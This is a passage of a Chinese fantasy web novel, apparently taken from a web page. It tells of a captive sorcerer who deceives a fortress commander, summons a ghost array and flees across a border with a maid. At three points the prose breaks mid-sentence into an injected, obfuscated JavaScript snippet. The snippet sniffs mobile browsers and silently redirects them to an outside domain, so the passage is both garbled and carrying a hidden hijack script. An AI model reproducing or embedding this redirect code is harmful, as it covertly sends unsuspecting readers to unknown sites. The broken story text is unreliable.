大雨滂沱的夜晚，要塞中火光摇曳，归来的骑士忙着大饮大嚼，吃饱喝足后各去休息。 马僮返回马厩，用稻草包裹住自己，抓紧时间睡觉。 专职看守俘虏的仆人裹紧外套，频繁打着哈欠，直至坚持不住，靠在门边沉沉睡去。 唯有侏儒依旧清醒，他们举着火把在要塞中穿梭，夜复一夜，仿佛是一场沉默的酷刑，永无休止。 黑暗中，数道微光点亮要塞四角。 绘有符文的羊皮纸埋在土下，微光如种子发芽，一点点顶开泥土，向天空生长。 暗红，森冷，不祥。 一场隐秘的血腥诅咒，一个能召集阴魂的法阵。 光芒短暂出现，迅速在雨中隐匿。无人发现端倪，包括巡夜的侏儒。 除了夏维。 黑发少年靠坐在窗前，视线穿过雨幕，精准捕捉到法阵生成。 雨水冲刷过窗外，白皙的指尖描摹水纹，一次又一次，似一场好玩的游戏。 “快了。” 夏维嘴角掀起一抹笑，朦胧在雨中，极致的柔和，却也无比的冰冷，森寒彻骨。 天明时分，乌云散开，雷电消失无踪，雨水告一段落。 艳阳升空，蒸干昨夜的水汽。 气温陡然升高，不似秋日，倒像是夏季再临。 热浪一阵接着一阵，空气潮湿粘腻，好似身处蒸笼，喘气都令人感到不适。 阳光透过窗户，射入城堡二楼房间。 床幔并未拉严，一缕光穿透缝隙，恰好落在卡萨拉脸上，唤醒了沉睡中的要塞长官。 卡萨拉睁开双眼，神情有瞬间迷茫。 短暂的晕眩之后，双眼恢复清明，昨夜的记忆涌入脑海。 他撑着手臂坐起身，毛毯顺势滑落，露出宽阔的脊背和健壮的胸膛，以及躺在身边的少年。 黑发少年蜷缩起身体，眼角带着微红，样子既脆弱又惹人怜爱。 他侧躺在大床边缘，和卡萨拉至少有两人的距离。这让卡萨拉无法轻易触碰到他，但能想起昨夜自己都做过什么。 记忆清晰无比，包括每一个细节，卡萨拉却感到一丝违和。 这种感觉古怪异常，他从未遇到过，实在难以解释。 卡萨拉掀开毯子，赤脚踩上地面。脚下是散落的铠甲，还有他的头盔和武器，内衬散在地上，像是被随意抛开。 走廊中传来脚步声，打断了卡萨拉的思绪。 要塞长官不在自己房中，女仆长和侍从都清楚该去哪里找他。 “少爷，石崖城有信送到。”女仆长的声音在门外响起。 卡萨拉抓了抓头发，压下心中的违和感，捞起衬衫和长裤穿上。 他没有马上离开，而是绕到床的另一侧，俯身看向夏维：“睁开眼睛，我知道你醒着。” 如他所愿，夏维转过头，缓慢睁开眼睛。 漆黑的瞳孔仿佛夜空，眼尾显得更红。 卡萨拉单手撑在床边，另一只手扣住夏维的侧脸，拇指擦过他的嘴角：“我会兑现承诺，你会拥有一切。” 他低下头，似想亲吻夏维的嘴角，却被后者侧头躲开。 一段记忆涌入脑海，卡萨拉纵容地笑了，继而放弃之前的念头：“我允许你任性，但下不为例。你可以休息，我会告诉蕾拉，将早餐送进房间。” 夏维没说话，翻身背对卡萨拉，掀起毯子盖住自己。 这一幕让卡萨拉心情大好，他隔着毯子抱住夏维，沉溺片刻，方才起身离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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待到房门关闭，安娜立即放下托盘冲到夏维近前，掀起他身上的毯子，模样既焦急又关心。 “你没事吧，不，怎么会没事！” 少女的动作小心翼翼，声音中充满愤怒，近乎是在咬牙切齿：“那个无耻的混蛋，该死的贵族！” “嘘。” 一根手指抵在少女唇边，止住她未尽的话语。 “安娜，冷静些。”夏维扣住少女的手腕，示意她冷静下来，“我没事，一点事都没有，我发誓。” “怎么可能？他可不像是仁慈的家伙。”话说到一半，见夏维利落地站起身，以行动证明自己没有虚言，安娜的表情迅速发生变化，由焦虑转为惊讶，再到困惑，“这没有道理，难道是那个贵族老爷……” 想到某种可能，安娜震惊地捂住嘴，看向夏维，双眼瞪得溜圆。 难怪！ 难怪这位贵族老爷一直没有任何绯闻！ 假设他疲软无力，压根做不到，石心不是理所当然？ 什么好名声，什么洁身自好，分明是现实不允许！ 11.第十一章 十分奇异地，夏维读懂了安娜的表情。他在此类事上向来迟钝，这次却过人的灵敏。 他宁可没有。 “安娜，停止你的胡思乱想，不是你想的那样。”夏维坐回到床上，好笑地戳了戳安娜的额头，“我有办法保全自己。” “不会被发现？”安娜谨慎道。 “不会。”夏维示意少女靠近，在她弯腰时，侧身看向房门，同时双手结印，再一次隐藏两人的声音，“两天后，在日落后来见我。” “两天？” “是的，两天，也许比那更早。” 领会夏维的暗示，安娜不由得攥紧双手，眼睛亮得惊人。 “我需要准备什么？”她问道。 “什么都不需要。”夏维微笑看向她，牵起她的一缕发，没有任何暧昧的含义，更像是一种安慰，专为抚平她的激动和焦躁，“你只需和平时一样，不要做任何多余的举动。” “食物，保暖的衣服，还有马和武器，这些都不需要？”安娜逐一列举，她为此考虑许多，“没有这些，我们逃不远的。” “相信我，安娜。”夏维认真安慰着少女，郑重承诺，“到了那天，我们能轻易获得一切，我保证。” “轻易？” “是的，只要动作足够快。” 夏维眨了眨眼，难得表现出活泼的一面。 太阳越升越高，明光在室内蔓延，潮水般覆上地面和床榻，触及少年的指尖。 蔚蓝的天空下，红光悬于要塞四角，由点成线，由线及面，一个充斥阴冷气息的法阵正缓慢成型。 要塞众人对此一无所知。 悠扬的钟声回荡在城堡上空，广场中人声鼎沸，变得极其热闹。 城堡前，一座木台之上，数个染血的木桩并排摆放，头戴尖帽的刽子手各自就位。 十多名俘虏被带到木台下，按跪在地上。 他们的样子狼狈不堪，像牲畜一样被五花大绑，脸庞、手臂和膝盖都是伤痕累累。 他们中的部分瑟瑟发抖，陷入绝望和惊恐。个别满脸凶横，朝着四周的人呲牙，发出古怪的吼声，形如发狂野兽。 钟声突然停了。 两名仆人敲响铜锣，沿着木台背向而行，转弯后再次会面。 锣声响亮，持续穿透热风，吸引众人注意。 “安静！” 一名学士登上行刑台，双手展开羊皮卷，高声宣读卡萨拉的命令：“入侵边境之人来自狂风领，他们劫掠马场，焚烧村庄，无恶不作，当处以极刑。砍断他们的头颅，斩断他们的四肢，将他们的鲜血和生命献给伟大的神明！” 当众公布俘虏的身份，进行公开处决，无疑是对狂风城的沉重打击。 如果狂风城的领主不想被视为懦夫，势必要进行报复，甚至可能发展为边境战争。 而这一切，正是卡萨拉家族需要的。 积攒财富，积蓄兵力，发展声望，拉拢盟友，通过边境战争攫取更大的权势，最终目标自然是更高的地位，领主，乃至于国王。 命令宣读完毕，广场前人头攒动，观看行刑的人挤挤挨挨，占满了各个角落。 卡萨拉盛装出现在刑场，引发人群阵阵欢呼。 刽子手倒提着长柄斧，将斧头支在地上，一起弯腰向他行礼。 “开始。”卡萨拉抬起右手，掌心朝前，食指和中指佩戴两枚戒指，宝石戒面闪烁彩光，近乎能刺痛人眼。 “遵命，大人。” 俘虏一个接一个被拖上刑场，压倒在木桩上。 刽子手抡起斧头，猛然间挥落。 斧刃落下时，寒光闪烁，骨头断裂声随之响起。 血色飞溅，染血的头向前滚动，坠下木台，一直滚落到众人脚下。 气氛短暂凝固，吸气声传来，继而是振臂高呼。 人群陷入狂热，为殷红的血，为这场对入侵者的杀戮，发出震耳欲聋的欢呼声。 夏维站在二楼窗前，眺望城堡前的刑场。 刽子手的长柄斧交替落下，鲜血染红断头台，顺着木板的缝隙滴落，尽数被泥土吸收。 隐藏在要塞四角的红光骤然盛放，法阵形成速度增快。 夏维单手按住窗棱，不期望会有如此发展。 “倒是凑巧。” 刑场中欢呼声不断，刽子手的斧头一次又一次落下，各种声音交织在一起，组成古怪的旋律，血腥、狂热、野蛮、残暴而诡谲。 当夜，卡萨拉依旧留宿在夏维的房间内，陷入虚幻的梦境。 翌日处理公务，他也将夏维安排在身边。 羽毛笔在羊皮卷上移动，笔尖摩擦，沙沙作响。落下最后一个字，要塞长官取下戒指，将雕刻家徽的一面按压在签名之后。 夏维坐在办公桌一侧，闲适地靠在高背椅上，手中捧着一本厚重的硬壳书，一页一页翻着，看得十分专注。 中途，卡萨拉停下笔。 他推开手边的文件，看向不远处的夏维。 少年很安静，近似于乖巧。 浅色衬衫外套着一件薄外套，衬衫前襟垂挂系带，外套衣领和袖口没有刺绣花纹，装饰的胸针也显得过于朴素。 卡萨拉单手撑着下巴，手指轻击桌面，看得有些入迷，却也生出一种不满意。 太朴素了。 “不合适。”他突然开口。 夏维从书中抬起头，疑惑地看过来：“大人，你在说什么？” “这个配不上你。”卡萨拉起身推开椅子，绕过办公桌走到夏维身前，高大的身影笼罩住他，一只手摘掉他的胸针，对光照射片刻，随意丢在一旁，“更绚丽，更昂贵，独一无二的宝石，才配出现在你的身上。” 他没有询问夏维的意见，也从未产生过类似想法。 卡萨拉习惯独断专行，以他独有的方式宠爱自己的情人。 “蕾拉！”他召唤女仆长，命令打开城堡的密室，同时告知夏维，“我有更好的宝石，至于之前买的那些，你可以留着，不必出现在身上。” 话落，粗糙的指腹划过夏维的嘴唇。 卡萨拉低下头，温热的气息越来越近。 夏维无法容忍他，法阵即将完全闭合，他对卡萨拉的容忍达到极限。黑色的瞳孔浸染血红，卡萨拉的目光变得呆滞。 他维持相同的姿势，僵硬地站在地上。 夏维没有推开他，反而抓住他的衣领，锁住他的双眼，促使他陷入一场虚幻的白日梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的战利品，他抢夺的黑色宝石，注定属于他，也只能属于他。 届时，他会亲手打造一只黄金笼，用宝石链栓起他的金丝雀，藏在城堡最深处，只供自己欣赏。 傲慢，自负，近乎于自大。 天性狂妄使卡萨拉轻易忽略了矛盾之处，也失去了窥见危险的最后时机。 当夜，大雨再度降临。 矫健的苍鹰穿越雨幕，又一次飞抵黑石城堡。 这封信来得仓促，信中内容非同小可，关乎卡萨拉家族的未来。要塞长官不得不离开他的美人，连夜召集心腹，在城堡召开骑士会议。 夏维得到独处的时机，他命令女仆守在门外，只留安娜在房间内，点燃室内所有蜡烛。 房门关闭，夏维示意安娜噤声。 安娜背靠着房门，因激动脸颊泛红，手指微微颤抖。 想起夏维之前的话，她知道时间到了。 她终于能离开这个鬼地方，和夏维一起！ 12.第十二章 短暂的兴奋之后，安娜镇定心神，开始考虑现实问题。 首先，他们该从哪里出去。 走廊显然不是一个妥当的选择。 “夏维，现在怎么做，从窗子跳出去吗？” “嘘。” 黑发少年站在门前，手指抵在嘴唇边，示意安娜噤声。 少女立刻捂住嘴，对他用力点头。 两人同时放轻脚步，趴在门上侧耳细听，确认走廊内没有声音传来，夏维指引安娜让开位置，掌心覆上门板。 一枚血红的图案出现在门上，边缘蛛网状扩张，很快延伸至墙壁，隔绝房间与走廊。 确认房门紧锁，声音也被隔绝，夏维转身走向桌旁，拉开抽屉，从中取出几张绘有符文的羊皮纸。 “和我来。” 夏维分出半数递给安娜，教给她使用方法：“刺破手指，将血涂抹在上面，然后压住那些宝石。” 说话间，他打开隔间的小门，走近摆放宝石的金属架。 安娜瞅瞅手中的羊皮纸，又疑惑的看向夏维，两秒后，见证装满宝石的箱子凭空消失，不由得瞪大双眼，满脸都是惊奇。 “这是什么？” “收纳符，空间有限，使用也有限制，但聊胜于无。”夏维继续收起宝石箱，每张羊皮纸只能收起一箱，上面的图案短暂发光，很快又归于沉寂。 相比携带宝石箱，羊皮纸更加方便，而且能装下更多。即使制作它们耗费大量灵力，夏维也认为值回票价。 所谓穷家富路，他要去烈焰岛，寻找龙族守护的矿山，此行路途遥远，沿途情况未知，充足的路费必不可少。 听完夏维的解释，看到眼前的场景，安娜双眼发亮，攥紧手中的羊皮纸，如同攥着稀世珍宝。 “安娜，快一点，我们时间不多。”夏维出言提醒，回身眺望窗外，黑暗的雨夜中，要塞四角腾起暗光，法阵在城堡上空聚拢，阴风骤起，雷声逐渐无法遮挡鬼哭。 法阵即将成型，他们必须加快动作。 一分一秒也不能浪费。 “哦，对，要快！” 安娜如梦初醒，顾不得发呆，迅速展开羊皮纸，收起余下的箱子。 仓房内清空，羊皮纸还有剩余。 安娜环顾房间，当即撸起袖子，拽下一条窗帘，用牙齿撕咬，分成大小相近的长条状。 “安娜？” “这些都能带走！” 安娜扯了扯布料，确认足够结实，随即站起身，一阵风般刮过房间。 金银烛台、镶嵌珠宝的摆设、悬有金丝绦的挂钩、镀金的羽毛笔、墨水瓶……凡是有价值的都被她捆扎带走。 少女动作利落，将零碎的摆设打成包裹，快速收纳入羊皮纸。 其后把羊皮纸卷起来，扯开领口塞进去，紧了紧领口的缎带，确保万无一失。 “夏维，接下来怎么做？” “跟上来。” 夏维走向窗户，单手用力，窗页向外荡开，猛然砸在墙上。 透明的玻璃碎裂，万千碎片顺着高墙坠落，湮灭在雨幕之中。 狂风卷入室内，窗帘、床幔和挂毯被掀起，在风中狂舞。 夏维站定在窗前，向安娜伸出手：“抓住我，和我来。” 黑发凌乱拂过少年的脸颊，黑瞳中闪过浓烈的血色，冰冷森然，锋利似刀。 安娜没有片刻迟疑，快行两步上前，用力握住夏维的手。 嫌长裙碍事，她利落地掀起裙摆捆扎到腰间。 “安娜，你……” “怎么？”少女咬着发带，迅速将头发扎好，一切为了行动方便。 “不，没什么。”夏维摇摇头，解开外套递给安娜，示意她穿好。 “会很冷。”他解释道。 “冷？” “是的。” 话音刚落，要塞四角红光大盛，法阵中心彻底弥合。 隐藏的红光骤然显影，一枚巨大的法阵在半空分离，半面下沉，半面上升，前者覆盖地表，后者笼罩天空。 阴风大作，万千鬼手挣出地底。 成百上千的亡魂爬出深渊，烙印死亡时的怨恨与狰狞，挣脱出大地的束缚，嚎叫着冲向生灵所在。 鬼影憧憧，播撒无尽的恐惧。 灰白色充斥天地间，气温急剧下降，雨水在坠落前冻结，凝成透明的冰晶，持续不断砸向地面。 “那是什么？” “亡灵？” “为什么有这么多的亡灵？” 变故陡生，眼前一幕震惊要塞众人。 马僮、仆人和匠人被鬼影包围，来不及感受寒冷，拼命转身逃离，发出惊恐的惨叫。 混乱的声响冲撞城堡，骑士会议被迫中止。 卡萨拉等人停止交谈，纷纷看向窗外，红光勾勒出众人惊骇的面容。 “亡灵？” “这里怎么会有亡灵法师？” “为什么？” 震惊，费解，恐慌。 不明所以，难以置信，惊恐万状。 复杂的情绪一起涌上，包括卡萨拉在内，众人大脑遭受冲击，思维有瞬间凝滞，下一刻头痛欲裂。 狂风呼啸，灰白色的气旋扶摇直上，龙卷风一般刮过要塞，掀飞建筑屋顶。 鬼哭阵阵，数不清的鬼影冒出地面，从四面八方向城堡聚集，日前处决的雇佣兵也在其中。 他们失去头颅和四肢，只剩躯干在地面蠕动，混在阴魂的队伍中，愈显阴森恐怖。 一道流光划过天空，银色长剑托起夏维和安娜，悬浮在法阵之下。 少女站在夏维背后，双臂环住他的腰，在高空俯瞰要塞。 望见数不清的鬼影从地下冒出，包围城堡，撕扯冲出城堡的骑士，安娜不觉恐惧，只感到无比痛快。 一群傲慢的家伙，自以为高人一等，绝不会想到有今天。 他们活该！ “抓紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111346|179159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 夏维叮嘱安娜，旋即抬起右手，一面黑旗凝于掌中，旗面流淌骇人的红光。 黑旗出现之际，阴魂骤然大乱。 尖厉的嚎哭声响彻夜空，数不清的鬼爪胡乱撕扯，攻击能触碰的所有生命。 城堡大门敞开，卡萨拉和骑士们一起冲出。 阴魂阻碍道路，他们无法骑上战马，唯有徒步战斗。 “别慌，跟上我！” 卡萨拉大吼一声，长剑挥出，面前的阴魂被腰斩，魂体又立刻聚集，牢牢封堵在众人四周。 鬼爪从地下伸出，抓住众人的小腿，阴冷的气息透入骨髓。 鬼哭声震荡耳道，刺痛大脑，使众人眼前阵阵发黑。 几名骑士划开掌心，向神明献祭鲜血，血眼却无法在法阵中凝聚，刚刚成形就支离破碎。 得不到支援，狂风迷乱方向，骑士们陷入苦战。 他们可以挥剑百次、千次，终有疲倦的时候，阴魂却永不知疲倦，完全杀不尽。 一旦无法挥剑，等待他们的必然是死亡！ “伊戈·卡萨拉。” 声音自头顶传来，卡萨拉挥剑荡开阴魂，仰头上望，撞见浮于半空的少年。 冰蓝色的双眼爬上血丝，瞳孔因愤怒收窄。 下一刻，恐怖的景象冲入大脑，势如排山倒海。卡萨拉抓住额头，踉跄后退，几乎抓不住手中的长剑。 千钧一发之际，他佩戴在胸前的家族徽章光芒大炽。 卡萨拉从幻觉中挣脱，周围的魂体都被逼退。 凝望保护卡萨拉的白光，夏维感到可惜。以他目前的能力，除非拼得两败俱伤，否则无法拿走卡萨拉的灵魂。 权衡利弊，这样做并不值得。 放弃收割卡萨拉的性命，夏维牵引长剑升高，手中黑旗连续挥舞，阴魂继续围攻城堡，使骑士们分-身乏术。 外围的魂魄却在上升，龙吸水一般，飞入夏维手中的法器。 确认差不多，夏维调转方向，带着安娜飞离要塞。 他毫不恋战，更没有留下只言片语。 反派死于话多。 夏维深谙其中精髓，转身时干脆利落，银光瞬间划过夜空，消失在法阵之外。 卡萨拉驻足地面，眼睁睁看着夏维远去，心中火冒三丈，却无法摆脱阴魂围困。 骑士们终是血肉之躯，陆续现出疲态，被迫收缩攻势，采取防守姿态。 卡萨拉用长剑划开掌心，亲自以血为祭，也只能短暂凝出血眼，抵挡法阵的压制，无法彻底驱散阴魂。 法阵持续运转，能量耗空前根本不会停止。 要塞中无人知晓破阵的办法，只能采取防守，连突破都不可能。 阴魂层出不穷，数量越来越多，仿佛无穷无尽。 灰白色的气旋循环往复，如同燃烧的地狱之火，铺开一张阴冷的火网，网住黑石城堡，禁锢所有生命，似要将这座古老的边境要塞彻底湮灭。 13.第十三章 “大人，我们无法驱散他们！” 阴魂疯狂涌来，狂风呼啸耳畔，骑士们变得精疲力尽。他们被迫后撤，护卫在卡萨拉身边。 由于大量失血，卡萨拉脸色苍白，他不得不攥紧掌心，阻止血液继续流失。 就在这时，女仆长出现在台阶后。 她手握一把短剑，分别划开两只手腕内侧，殷红的血汇成溪流，没有坠向地面，反而流向天空。 几名女仆拖拽着侏儒出现在她身后，侏儒们被五花大绑，一个个奋力挣扎，试图摆脱控制。 望见周围的情形，意识到注定的命运，他们惊惧交加，骇然地瞪大双眼。 “不！” “你们不能这样对我！” “我们遵守了誓言，你们不能这样！” “无耻，卑劣！” “背叛誓言的家伙……你们要被诅咒……” 话未说完，刀锋已经抵上脖颈。 女仆长没有给他们更多时间，女仆们连续挥刀，侏儒的头颅滚落在地，双眼大睁，一个个死不瞑目。 无头尸体被抛在台阶下，吸引来大量阴魂。 灰白色的鬼手撕扯着尸体，给卡萨拉等人争取喘息之机。 天空中的血眼逐渐凝实，与法阵互相碰撞，能量纠缠撕扯，光芒爆闪，某一刻，清晰的碎裂声响起。 法阵开始不稳，水波状震颤。 能量急剧消耗，阴魂失去供养，身影模糊，肉眼可见变得脆弱。 “他们变弱了！” “杀光他们！” 骑士们抓住机会，全力进行反攻。要塞中的马僮和铁匠也拿起武器，纷纷冲出藏身处，加入这场战斗。 侏儒的尸体迅速干瘪，生命和灵魂完成献祭。 法阵支离破碎，血眼彻底占据天空。 要塞众人取得胜利，来不及发出欢呼，就接到追击的命令。 卡萨拉甚至没有穿戴盔甲，直接抄起佩剑，一跃骑上战马：“我的战利品逃走了，跟随我，抓回他！” 要塞长官猛一拽缰绳，战马人立而起，发出激烈的嘶鸣。 在这场巨大的混乱之后，卡萨拉绝不允许夏维逃出掌心，无论情感还是自尊，绝对不允许！ 轰隆！ 云后响起惊雷，平原刮起狂风。 城堡上空的血眼开始转动，眼球外凸，指向夏维和安娜逃离的方向。 要塞大门敞开，数十骑飞跃而出。 骑士们忠实执行命令，追随卡萨拉冲出要塞，直扑目标离开的方向，不咬住对方誓不罢休。 女仆长走下台阶，无视裙摆沾染泥土，利落将布条缠在手上，止血的同时，组织众人清理战场，加速善后工作。 一名女仆急匆匆跑来，面带焦急，语气惊慌：“蕾拉夫人，那个房间中的宝石，还有金银器皿，全都不见了！” “什么？”女仆长大吃一惊。 夏维和安娜被带进城堡时，她亲自检查过两人，除了身上的衣物，连一件饰品都没有，更不用提价值昂贵的炼金物品。 他是如何做到的，莫非他是炼金师？ 那包围城堡的亡灵又该如何解释？ 想不通内中缘由，女仆长不由得陷入焦躁。 夏维的底细远比设想中复杂，他很擅长伪装和隐藏，在虚弱时潜伏忍耐，抓到机会发出致命一击，就如今日。 简直像条毒蛇。 “不好！” 想到冲出要塞的卡萨拉，女仆长神情骤变，立即召唤侍从：“立刻追上去，告知卡萨拉少爷，那个人，那个黑发少年很危险，一定要小心！” 她没有自信改变卡萨拉的决定。 蒙蔽，愚弄，欺骗，自以为尽在掌握，却是满盘皆输，卡萨拉不会忍受这些。亲眼看到夏维逃离，他已然火冒三丈，变得出离愤怒。 女仆长只能设法提醒，希望卡萨拉能提高警惕，不要被怒火冲昏头，再次落入对方的陷阱。 “骑上最快的马，马上去！” “是。” 侍从不敢耽搁，当即跃身上马，挥鞭冲出要塞，向骑士团的方向追逐而去。 血眼在天空转动，暗红渲染云层，降下大片血影。 卡萨拉在平原策马，追逐夏维离开的方面，一直追到边境。 即将跨越边界线的一刻，凝聚的血眼遭遇碰撞，并非来自夏维，而是狂风领信仰的风神。 冷风冲击队伍，战马发出不安的嘶鸣。 发热的大脑冷静下来，卡萨拉攥紧缰绳，下令队伍停止前进。 “停下。” 他望见前方的银光，清楚夏维就在那里，而且速度正在减慢。但他无法继续再追，跨越一步就是狂风领，随时可能撞见对方的巡逻骑士。 想到父亲信中的暗示，卡萨拉不得不叫停队伍。 既然要和狂风领开战，他就不该让自己身陷重围，在此刻落入险境。 但是，他也不想就这样放走夏维。 两股意志在卡萨拉脑海中撕扯，冰蓝色的瞳孔持续收窄，战马变得不安，踏着蹄子前进后退，摆动脖颈，样子异常烦躁。 天空中，夏维回望身后的追兵，见他们突然停住，并没有放松警惕。 “抱紧。”他将安娜拉到身前。 少女没有出声，收紧双臂，用力箍住夏维的腰，埋进夏维怀中。 长剑变得不稳，这是灵力即将耗尽的征兆。 夏维没有强撑，他锁定一片茂密的森林带，单臂护住安娜，在长剑消失的一瞬，飞身跳了下去。 边境线外，卡萨拉望见夏维从半空跃下，握住缰绳的手猛然一紧。 “大人，还追吗？” “不，回去。” 做出这个决定十分困难，但理智终究占据上风。 话落，他调转马头，像是为防止自己后悔，连连甩动马鞭，沿着来时路疾驰而去。 骑士们心中疑惑，却无一人开口询问。他们严格执行命令，纷纷调转马头，跟随长官返回要塞。 卡萨拉中途回首，眺望夏维坠落的森林，瞳孔变成细长的竖瞳，形似残酷的掠食者。 放手只是 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“石崖领，这个方向是黑石堡。”艾尔扬折起马鞭，一下下敲打掌心。青色的眼睛极目远处，声音中透出惋惜，“真可惜。” 可惜对方没有越过边境。 不然地话，多好的开战借口。 “蛮族最近很不老实，他们一直在抗税，森林中的部落更是蠢蠢欲动。这个时候发动全面战争，算不上一个好主意。”一名骑士策马上前，对艾尔扬说道。 骑士队长停下动作，侧头看向他，俊雅的脸上扬起一抹笑，毫无预兆地扬起马鞭，重重甩在他胸前。 破风声后，骑士滚落马背，狼狈地吐出一口血。 他反手抹过下巴，拽着马具从地上起身，胸前的铠甲有明显凹陷，足见这一鞭力量之大。 “不要越界，派恩。”艾尔扬收回长鞭，光影覆在他肩后，为他镀上一层白色光晕，却无一丝一毫的暖意，“守好你的本分。” “遵命，大人。”骑士吃到教训，立即低头认错。 艾尔扬没有再追究。 派恩单手压住伤处，忍下刺痛，重新登上马背。 艾尔扬抬起右臂，指尖缠绕一缕风，似精灵在眷顾嬉戏。 “领地中来了陌生人。”他掀起嘴角，张开五指，循着风指引的方向望去，“就在那片森林。” 骑士们交换眼神，开口请示：“大人，是否要派人搜查？” “不必。”艾尔扬眯起双眼，联系突然出现的马蹄印，脑海中闪过某种猜测，当即下达命令，“派人巡逻森林外围，无论是谁，只要不被森林中的蛮族杀死，总会走出来。” “遵命。” 领会艾尔扬的意图，骑士们不再多问。 当即有三人释放信鸟。 小巧的雀鸟振动翅膀，乘风起飞，很快消失在天际。 骑士们拉下面罩，集结在艾尔扬身后。 队伍沿着边境线一路飞驰，镶嵌金边的斗篷在身后翻飞，马蹄犹如奔雷，刹那间远去，消失在漫漫烟尘之后。 14.第十四章 狂风领边境矗立大片茂密的森林。 水道地裂交错穿梭，将森林分割开，截成不规则的块状。蛮族部落生活在森林中，存在历史比领地创建更久。 名义上，蛮族归附领主，向领地和王国缴纳赋税。 现实中，少数蛮族为领主服务，更多向往自由，抵触外来者。例如在征税时，税务官和蛮族部落屡次发生争执，情况恶劣时，更会演变成流血冲突。 夏维和安娜的运气不算太坏，落点下方是一条瀑布，瀑布下连接一处深潭，常有巨蟒出没，危机四伏，人迹罕至。 水潭远离蛮族活动的核心区域，属于三不管地带，纵然是部落中最强悍的战士，也不敢独自闯入，更不会落单行动。 只有在集体狩猎时，才会有大量蛮族在附近出现。 水声轰鸣，银色长链垂挂悬崖，砸出大片白浪。 夏维耗尽灵力，撑开一层稀薄的防护网，抱着安娜平安下落。 周围尽是参天古木，不想被锋利的树枝划伤，他锁定瀑布下的水潭，落水总好过被串在树上。 狂风呼啸耳畔，夏维声音急促：“抱紧我，千万别松手！” 安娜对夏维百分百信任，没有丝毫迟疑，牢牢抱住夏维的腰，闭上眼睛，屏住了呼吸。 两人落速加快，流星一般，砸进幽深的水潭。 轰鸣声骤然远去，世界无声，陷入黑暗与寂静。 冰冷的潭水包裹全身，似有一股力量缠绕住四肢，将他们拽向水潭底部。 安娜突然变得惊慌，她睁开双眼，本能地张大嘴巴，口中冒出一串气泡。沙金色的头发在水中漂浮，她陷入极大恐惧，不知该如何是好。 关键时刻，腰间的力量给了她支撑。 夏维用左臂环住安娜，右臂快速划动，双脚踩水，带着安娜全力上浮，快速脱离水下的黑暗。 头顶隐约能见到光亮。 窒息前的一刻，两人破水而出，一起冲出水面。 轰隆！ 白练从天而降，水声炸裂，耳道嗡嗡作响。 湿发黏在脸上，安娜因呛水发出剧烈咳嗽，手脚并用，牢牢缠在夏维身上，一刻也不敢松手。 “安娜，我带你上岸，放松一些。”夏维口中安慰少女，放眼环顾四周，很快找到适合登陆的地点。 箍在身上的力气略微放松，他带着安娜游向岸边。两人的身影划开水面，荡开阵阵波纹。 游出十数米后，夏维抓住深入水潭的一截树根。 不需要他开口，安娜主动松开他的肩膀，反身靠向树根，为自己找到新的借力点。 “试着向下踩，我们上去。”夏维从身后推动安娜，示意她登陆的方向。 为节省力气，安娜没有出声，仅是用力点头，双手抓牢湿滑的树根，奋力向前游动。 功夫不负苦心人，两人的努力得到回报。 他们成功登上岸，踩上岸边的湿泥，互相搀扶着走出一段距离，身后留下凌乱的足迹。 水声减弱，地面变得干燥，铺垫大量青草和落叶。 两人精疲力尽，同时松开手，疲惫地躺倒下去。 他们躺在高大的铁木下，虬结的树根在土下蜿蜒，粗壮的树干笔直生长。茂密的树冠伞状张开，树枝边缘交错，留出不规则的空隙，允许阳光射入林间。 随着太阳西斜，光斑在林间流动，水波般荡漾。 光影落在脸上，夏维睁开双眼，恰好被一束光射入眼底，瞳孔短暂收缩，流淌过不明显的暗红。 “接下来，我们去哪里？”安娜突然开口。 少女从地上撑起身，侧头看向夏维。 说话时，她双手拧紧裙摆，直至不再有水滴落。潮湿的头发覆在肩头，发梢勾缠住衣领，她试着解开，可惜不太成功。 “我要去烈焰岛，寻找龙族的矿山。”夏维没有隐瞒安娜，他枕着一条手臂，仰望枝杈间透出的天空，短暂放松，“如果你想回村子，现在不是好时机，最好再等一段时间。或者你有别的去处，我可以先送你，确保你能平安。” “不，我哪也不去，我要跟着你。”安娜坚定开口，见夏维看过来，连忙补充道，“如果不碍事的话。” “为什么？”夏维从地上坐起身，疑惑地看向她，“我会长时间旅行，居无定所，还可能遇到更多危险。你难道不想过安稳的日子？” 安娜摇摇头，转身正对夏维，表情和语气都很认真：“我不能回去村子，送信回去也很危险。至于亲戚，许多年都不联系，和陌生人没什么区别。” 他们逃出要塞，难保骑士不会搜查村庄。 别说是回去，递送消息都不可以。 只有彻底被隔绝在外，对两人的行踪一无所知，村子里的人才会安全。 至于她的亲戚，生活在不同领地，为不同的领主交税，几年也未必能见到一面，更不必谈什么亲情。 “我不能回去村庄，那会给村子带去麻烦。亲戚们也不会收留我的。”少女实话实说，表情十分平静，“何况贵族们总是在打仗，安稳的日子，也不过是说说罢了。” 夏维意识到自己考虑不周。 “抱歉，是我连累了你。”他说道。 “不，你救了我，两次。”安娜比出两根手指，深深望入夏维的眼睛，“在村子里，你杀死那个雇佣兵，从马蹄下救了我。这一次，你带我逃出要塞，远离那个鬼地方，你是我的英雄。” “安娜……” 